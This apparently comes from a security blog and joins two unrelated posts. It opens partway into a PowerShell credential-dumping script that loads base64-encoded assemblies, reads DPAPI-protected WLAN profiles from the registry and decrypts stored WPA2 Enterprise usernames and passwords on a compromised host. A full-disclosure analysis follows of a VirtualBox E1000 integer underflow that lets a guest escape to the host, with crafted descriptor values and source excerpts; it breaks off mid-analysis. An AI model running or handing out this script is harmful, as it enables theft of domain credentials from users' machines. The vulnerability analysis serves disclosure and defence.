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")) | Out-Null
    
    [Reflection.Assembly]::Load([Convert]::FromBase64String("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YgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")) | Out-Null

    $NullReferenceString = ""
    $ProtectedFiles = @()
    $ProtectedFiles += Get-ProtectedData
    if($ProtectedFiles.Length -eq 0)
    {
        Write-Output "Error: No DPAPI binary data was retrieved."
        return
    }
    Write-Verbose "Harvested $($ProtectedFiles.Length) files."

    # https://github.com/ash47/EnterpriseWifiPasswordRecover
    [byte[]]$PasswordPattern = @(0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01)
    [byte[]]$UsernamePattern = @(0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00)

    $ProtectedFiles | ForEach-Object {
        
        # calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description)

        $DecryptedData = [DPAPI]::Decrypt([IO.File]::ReadAllBytes("C:\windows\temp\$_"), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString)

        $UsernameOffset = [Pattern.Search]::Locate($DecryptedData, $UsernamePattern)[0]
        $PasswordOffset = [Pattern.Search]::Locate($DecryptedData, $PasswordPattern)[0]

        # Here we will have Username and Domain
        $DomainAndUsername = [Text.Encoding]::UTF8.GetString($DecryptedData[($UsernameOffset+8)..$PasswordOffset]) | Out-String
        $EncryptedPassword = $DecryptedData[$PasswordOffset..$DecryptedData.Length]
        
        # Removes last null bytes. (No Padding will be superior to 16 bytes)
        foreach($i in 0..16)
        {
            $EncryptedPassword = Remove-LastNullByte -Array $EncryptedPassword
        }

        $DumpFile = "C:\windows\temp\password.bin"
        [IO.File]::WriteAllBytes($DumpFile, $EncryptedPassword)

        # SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it.
        $ReversionStatus = [Revert]::RevertBack();
        if($ReversionStatus -eq $false)
        {
            Write-Output "Could not revert back to user."
            return
        }

        # Last stage, if the line below succeeds, we have a plaintext password.
        $DecryptedPassword = [Text.Encoding]::UTF8.GetString([DPAPI]::Decrypt([IO.File]::ReadAllBytes($DumpFile), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString))
        Write-Output "Username: $DomainAndUsername"
        Write-Output "Password: $DecryptedPassword"
        
    } 

}


function Remove-LastNullByte
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [byte[]]$Array,

        [Parameter(Mandatory = $false, Position = 1)]
        [byte]$Banned
    )

    $ArrayLength = $Array.Length - 1
    if($Array[$ArrayLength] -eq $Banned)
    {
        return $Array[0..($ArrayLength-1)]
    }
    return $Array
}

<#
.SYNOPSIS
This file uses the registry hive HKCU to retrieve binary data
that is protected by DPAPI functions to hide WPA Enterprise 
passwords.

#>
function Get-ProtectedData
{
    [CmdletBinding()]
    # File Array
    $Files = @();

    # Retrieves data to be used by DPAPI decrypt function
    Get-ChildItem HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | ForEach-Object {
        $currentFile = Get-TemporaryFileName
        $Files += $currentFile
        Write-Verbose "Created file $currentFile"
        [IO.File]::WriteAllBytes("C:\windows\temp\$currentFile", (Get-ItemProperty $_.PSPath -Name MSMUserData | Select-Object MSMUserData).MSMUserData) 
    }

    return $Files
}

function Get-TemporaryFileName
{
    return ([IO.Path]::GetRandomFileName()).Split(".")[0] + ".tmp"
}

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

Screenshot

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

 

Virtualbox e1000 0day

Why

I like VirtualBox and it has nothing to do with why I publish a 0day vulnerability. The reason is my disagreement with contemporary state of infosec, especially of security research and bug bounty:

  1. Wait half a year until a vulnerability is patched is considered fine.
  2. In the bug bounty field these are considered fine:
    1. Wait more than month until a submitted vulnerability is verified and a decision to buy or not to buy is made.
    2. Change the decision on the fly. Today you figured out the bug bounty program will buy bugs in a software, week later you come with bugs and exploits and receive «not interested».
    3. Have not a precise list of software a bug bounty is interested to buy bugs in. Handy for bug bounties, awkward for researchers.
    4. Have not precise lower and upper bounds of vulnerability prices. There are many things influencing a price but researchers need to know what is worth to work on and what is not.
  3. Delusion of grandeur and marketing bullshit: naming vulnerabilities and creating websites for them; making a thousand conferences in a year; exaggerating importance of own job as a security researcher; considering yourself «a world saviour». Come down, Your Highness.

I’m exhausted of the first two, therefore my move is full disclosure. Infosec, please move forward.

General Information

Vulnerable software: VirtualBox 5.2.20 and prior versions.

Host OS: any, the bug is in a shared code base.

Guest OS: any.

VM configuration: default (the only requirement is that a network card is Intel PRO/1000 MT Desktop (82540EM) and a mode is NAT).

How to protect yourself

Until the patched VirtualBox build is out you can change the network card of your virtual machines to PCnet (either of two) or to Paravirtualized Network. If you can’t, change the mode from NAT to another one. The former way is more secure.

Introduction

A default VirtualBox virtual network device is Intel PRO/1000 MT Desktop (82540EM) and the default network mode is NAT. We will refer to it E1000.

The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv.

Vulnerability Details

E1000 101

To send network packets a guest does what a common PC does: it configures a network card and supplies network packets to it. Packets are of data link layer frames and of other, more high level headers. Packets supplied to the adaptor are wrapped in Tx descriptors (Tx means transmit). The Tx descriptor is data structure described in the 82540EM datasheet (317453006EN.PDF, Revision 4.0). It stores such metainformation as packet size, VLAN tag, TCP/IP segmentation enabled flags and so on.

The 82540EM datasheet provides for three Tx descriptor types: legacy, context, data. Legacy is deprecated I believe. The other two are used together. The only thing we care of is that context descriptors set the maximum packet size and switch TCP/IP segmentation, and that data descriptors hold physical addresses of network packets and their sizes. The data descriptor’s packet size must be lesser than the context descriptor’s maximum packet size. Usually context descriptors are supplied to the network card before data descriptors.

To supply Tx descriptors to the network card a guess writes them to Tx Ring. This is a ring buffer residing in physical memory at a predefined address. When all descriptors are written down to Tx Ring the guest updates E1000 MMIO TDT register (Transmit Descriptor Tail) to tell the host there are new descriptors to handle.

Input

Consider the following array of Tx descriptors:

[context_1, data_2, data_3, context_4, data_5]

Let’s assign their structure fields as follows (field names are hypothetical to be human readable but directly map to the 82540EM specification):

context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

We will learn why they should be like that in our step-by-step analysis.

Root Cause Analysis

[context_1, data_2, data_3] Processing

Let’s assume the descriptors above are written to the Tx Ring in the specified order and TDT register is updated by the guest. Now the host will execute e1kXmitPending function in src/VBox/Devices/Network/DevE1000.cpp file (most of comments are and will be stripped for the sake of readability):

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
        while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
        {
            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

e1kTxDLazyLoad will read all the 5 Tx descriptors from the Tx Ring. Then e1kLocateTxPacket is called for the first time. This function iterates through all the descriptors to set up an initial state but does not actually handle them. In our case the first call to e1kLocateTxPacket will handle context_1, data_2, and data_3 descriptors. The two remaining descriptors, context_4 and data_5, will be handled at the second iteration of the while loop (we will cover the second iteration in the next section). This two-part array division is crucial to trigger the vulnerability so let’s figure out why.

e1kLocateTxPacket looks like this:

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

The first descriptor (context_1) is of E1K_DTYP_CONTEXT so e1kUpdateTxContext function is called. This function updates a TCP Segmentation Context if TCP Segmentation is enabled for the descriptor. It is true for context_1 so the TCP Segmentation Context will be updated. (What the TCP Segmentation Context Update actually is, is not important, and we will use this just to refer the code below).

The second descriptor (data_2) is of E1K_DTYP_DATA so several actions unnecessary for the discussion will be performed.

The third descriptor (data_3) is also of E1K_DTYP_DATA but since data_3.data_length == 0 no action is performed.

At the moment the three descriptors are initially processed and the two remain. Now the thing: after the switch statement there is a check wheter a descriptor’s end_of_packet field was set. It is true for data_3 descriptor (data_3.end_of_packet == true). The code does some actions and returns from the function:

        if (pDesc->legacy.cmd.fEOP)
        {
            ...
            return true;
        }

If data_3.end_of_packet would been false then the remaining context_4 and data_5 descriptors would be processed, and the vulnerability would been bypassed. Below you’ll see why that return from the function leads to the bug.

At the end of e1kLocateTxPacket function we have the following descriptors ready to unwrap network packets from and to send to a network: context_1, data_2, data_3. Then the inner loop of e1kXmitPending calls e1kXmitPacket. This functions iterates through all the descriptors (5 in our case) to actually process them:

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

For each descriptor e1kXmitDesc function is called:

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
                       bool fOnWorkerThread)
{
...
    switch (e1kGetDescType(pDesc))
    {
        case E1K_DTYP_CONTEXT:
            ...
            break;
        case E1K_DTYP_DATA:
        {
            ...
            if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
            {
                E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf));
            }
            else
            {
                if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
                {
                    ...
                }
                else if (!pDesc->data.cmd.fTSE)
                {
                    ...
                }
                else
                {
                    STAM_COUNTER_INC(&pThis->StatTxPathFallback);
                    rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
                }
            }
            ...

The first descriptor passed to e1kXmitDesc is context_1. The function does nothing with context descriptors.

The second descriptor passed to e1kXmitDesc is data_2. Since all of our data descriptors have tcp_segmentation_enable == true (pDesc->data.cmd.fTSE above) we call e1kFallbackAddToFrame where there will be an integer underflow while data_5 is processed.

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

The most important variables here are u16MaxPktLen, pThis->u16TxPktLen, and pDesc->data.cmd.u20DTALEN.

Let’s draw a table where values of these variables are specified before and after execution of e1kFallbackAddToFrame function for the two data descriptors.

Tx Descriptor Before/After u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_2 Before 0x3010 0 0x10
After 0x3010 0x10 0
data_3 Before 0x3010 0x10 0
After 0x3010 0x10 0

You just need to note that when data_3 is processed pThis->u16TxPktLen equals to 0x10.

Next is the most important part. Please look again at the end of the snippet of e1kXmitPacket:

        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;

Since data_3 type != E1K_DTYP_CONTEXT and data_3.end_of_packet == true, we break from the loop despite the fact that there are context_4 and data_5 to be processed. Why is it important? The key to understand the vulnerability is to understand that all context descriptors are processed before data descriptors. Context descriptors are processed during the TCP Segmentation Context Update in e1kLocateTxPacket. Data descriptors are processed later in the loop inside e1kXmitPacket function. The developer intention was to forbid changing u16MaxPktLen after some data was processed to prevent integer underflows in the code:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

But we are able to bypass this protection: recall that in e1kLocateTxPacket we forced the function to return because of data_3.end_of_packet == true. And because of that we have two descriptors (context_4 and data_5) left to be processed despite the fact that pThis->u16TxPktLen is 0x10, not 0. So there is a possibility to change u16MaxPktLen using context_4.maximum_segment_size to make the integer underflow.

[context_4, data_5] Processing

Now when the first three descriptors were processed we again arrive to the inner loop of e1kXmitPending:

            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Here we call e1kLocateTxPacket do the initial processing of context_4 and data_5 descriptors. It has been said that we can set context_4.maximum_segment_size to a size lesser than the size of data already read i.e. lesser than 0x10. Recall our input Tx descriptors:

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

As a result of the call to e1kLocateTxPacket we have the maximum segment size equals to 0xF, whereas the size of data already read is 0x10.

Finally, when processing data_5 we again arrive to e1kFallbackAddToFrame and have the following variable values:

Tx Descriptor Before/After u16MaxPktLen pThis->u16TxPktLen pDesc->data.cmd.u20DTALEN
data_5 Before 0xF 0x10 0x4188
After

And therefore we have an integer underflow:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

This makes the following check to be true since 0xFFFFFFFF > 0x4188:

        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

